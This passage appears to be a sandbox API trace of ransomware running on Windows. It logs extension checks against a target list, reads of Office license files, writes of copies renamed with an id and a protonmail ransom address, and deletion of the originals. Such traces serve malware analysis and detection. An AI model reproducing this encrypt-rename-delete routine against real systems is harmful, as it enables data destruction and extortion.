	[0202.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.685] lstrlenW (lpString=".jpg") returned 4
	[0202.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.685] lstrlenW (lpString=".doc") returned 4
	[0202.685] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.685] lstrlenW (lpString=".docx") returned 5
	[0202.685] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.685] lstrlenW (lpString=".pdf") returned 4
	[0202.685] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString=".xls") returned 4
	[0202.686] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString=".xlsx") returned 5
	[0202.686] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.686] lstrlenW (lpString=".ppt") returned 4
	[0202.686] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.686] lstrlenW (lpString=".zip") returned 4
	[0202.686] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString=".rar") returned 4
	[0202.686] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString=".bz2") returned 4
	[0202.686] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString=".7z") returned 3
	[0202.686] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.686] lstrlenW (lpString=".dbf") returned 4
	[0202.686] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.686] lstrlenW (lpString=".1cd") returned 4
	[0202.686] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0202.686] lstrlenW (lpString=".jpg") returned 4
	[0202.686] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.686] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.686] lstrlenW (lpString="O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 40
	[0202.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.687] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11646) returned 1
	[0202.687] CloseHandle (hObject=0x580) returned 1
	[0202.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0202.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.688] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.688] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.692] GetLastError () returned 0x0
	[0202.692] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0202.694] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0202.695] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.695] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x124, lpOverlapped=0x0) returned 1
	[0202.695] SetEndOfFile (hFile=0x594) returned 1
	[0202.696] CloseHandle (hObject=0x594) returned 1
	[0202.696] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.696] SetEndOfFile (hFile=0x580) returned 1
	[0202.700] CloseHandle (hObject=0x580) returned 1
	[0202.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-ul-oob.xrm-ms")) returned 1
	[0202.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.702] lstrlenW (lpString=".doc") returned 4
	[0202.702] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString=".docx") returned 5
	[0202.702] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.702] lstrlenW (lpString=".pdf") returned 4
	[0202.702] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString=".xls") returned 4
	[0202.702] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString=".xlsx") returned 5
	[0202.702] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.702] lstrlenW (lpString=".ppt") returned 4
	[0202.702] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.702] lstrlenW (lpString=".zip") returned 4
	[0202.702] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString=".rar") returned 4
	[0202.702] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString=".bz2") returned 4
	[0202.702] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString=".7z") returned 3
	[0202.702] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.702] lstrlenW (lpString=".dbf") returned 4
	[0202.702] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.702] lstrlenW (lpString=".1cd") returned 4
	[0202.702] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.702] lstrlenW (lpString=".jpg") returned 4
	[0202.702] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.703] lstrlenW (lpString=".doc") returned 4
	[0202.703] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString=".docx") returned 5
	[0202.703] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.703] lstrlenW (lpString=".pdf") returned 4
	[0202.703] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString=".xls") returned 4
	[0202.703] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString=".xlsx") returned 5
	[0202.703] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.703] lstrlenW (lpString=".ppt") returned 4
	[0202.703] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.703] lstrlenW (lpString=".zip") returned 4
	[0202.703] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString=".rar") returned 4
	[0202.703] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString=".bz2") returned 4
	[0202.703] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString=".7z") returned 3
	[0202.703] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.703] lstrlenW (lpString=".dbf") returned 4
	[0202.703] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.703] lstrlenW (lpString=".1cd") returned 4
	[0202.703] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-ul-oob.xrm-ms") returned 90
	[0202.703] lstrlenW (lpString=".jpg") returned 4
	[0202.703] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.704] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.704] lstrlenW (lpString="O365ProPlusR_Subscription5-pl.xrm-ms") returned 36
	[0202.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.705] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11195) returned 1
	[0202.705] CloseHandle (hObject=0x580) returned 1
	[0202.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 0x220
	[0202.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0202.705] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.705] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.706] GetLastError () returned 0x0
	[0202.706] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0202.708] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0202.709] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.709] WriteFile (in: hFile=0x594, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0202.709] SetEndOfFile (hFile=0x594) returned 1
	[0202.710] CloseHandle (hObject=0x594) returned 1
	[0202.710] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.710] SetEndOfFile (hFile=0x580) returned 1
	[0203.817] CloseHandle (hObject=0x580) returned 1
	[0203.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 1
	[0203.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.975] lstrlenW (lpString=".doc") returned 4
	[0203.975] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.975] lstrlenW (lpString=".docx") returned 5
	[0203.975] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.975] lstrlenW (lpString=".pdf") returned 4
	[0203.975] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.975] lstrlenW (lpString=".xls") returned 4
	[0203.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString=".xlsx") returned 5
	[0203.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.976] lstrlenW (lpString=".ppt") returned 4
	[0203.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.976] lstrlenW (lpString=".zip") returned 4
	[0203.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString=".rar") returned 4
	[0203.976] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString=".bz2") returned 4
	[0203.976] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString=".7z") returned 3
	[0203.976] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.976] lstrlenW (lpString=".dbf") returned 4
	[0203.976] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.976] lstrlenW (lpString=".1cd") returned 4
	[0203.976] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.976] lstrlenW (lpString=".jpg") returned 4
	[0203.976] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.976] lstrlenW (lpString=".doc") returned 4
	[0203.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0203.976] lstrlenW (lpString=".docx") returned 5
	[0203.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0203.976] lstrlenW (lpString=".pdf") returned 4
	[0203.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString=".xls") returned 4
	[0203.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString=".xlsx") returned 5
	[0203.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0203.977] lstrlenW (lpString=".ppt") returned 4
	[0203.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.977] lstrlenW (lpString=".zip") returned 4
	[0203.977] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString=".rar") returned 4
	[0203.977] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString=".bz2") returned 4
	[0203.977] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString=".7z") returned 3
	[0203.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.977] lstrlenW (lpString=".dbf") returned 4
	[0203.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.977] lstrlenW (lpString=".1cd") returned 4
	[0203.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0203.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0203.977] lstrlenW (lpString=".jpg") returned 4
	[0203.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0203.977] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0203.977] lstrlenW (lpString="O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 36
	[0203.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.471] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11630) returned 1
	[0204.471] CloseHandle (hObject=0x5b4) returned 1
	[0204.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 0x220
	[0204.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0204.472] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.472] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0204.492] GetLastError () returned 0x0
	[0204.492] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0204.502] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0204.503] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.503] WriteFile (in: hFile=0x428, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0204.503] SetEndOfFile (hFile=0x428) returned 1
	[0204.504] CloseHandle (hObject=0x428) returned 1
	[0204.504] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.504] SetEndOfFile (hFile=0x5b4) returned 1
	[0204.507] CloseHandle (hObject=0x5b4) returned 1
	[0204.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 1
	[0204.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms") returned 86
	[0204.508] lstrlenW (lpString=".doc") returned 4
	[0204.508] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.508] lstrlenW (lpString=".docx") returned 5
	[0204.508] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.508] lstrlenW (lpString=".pdf") returned 4
	[0204.508] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.508] lstrlenW (lpString=".xls") returned 4
	[0204.509] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.509] lstrlenW (lpString=".xlsx") returned 5
	[0204.509] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
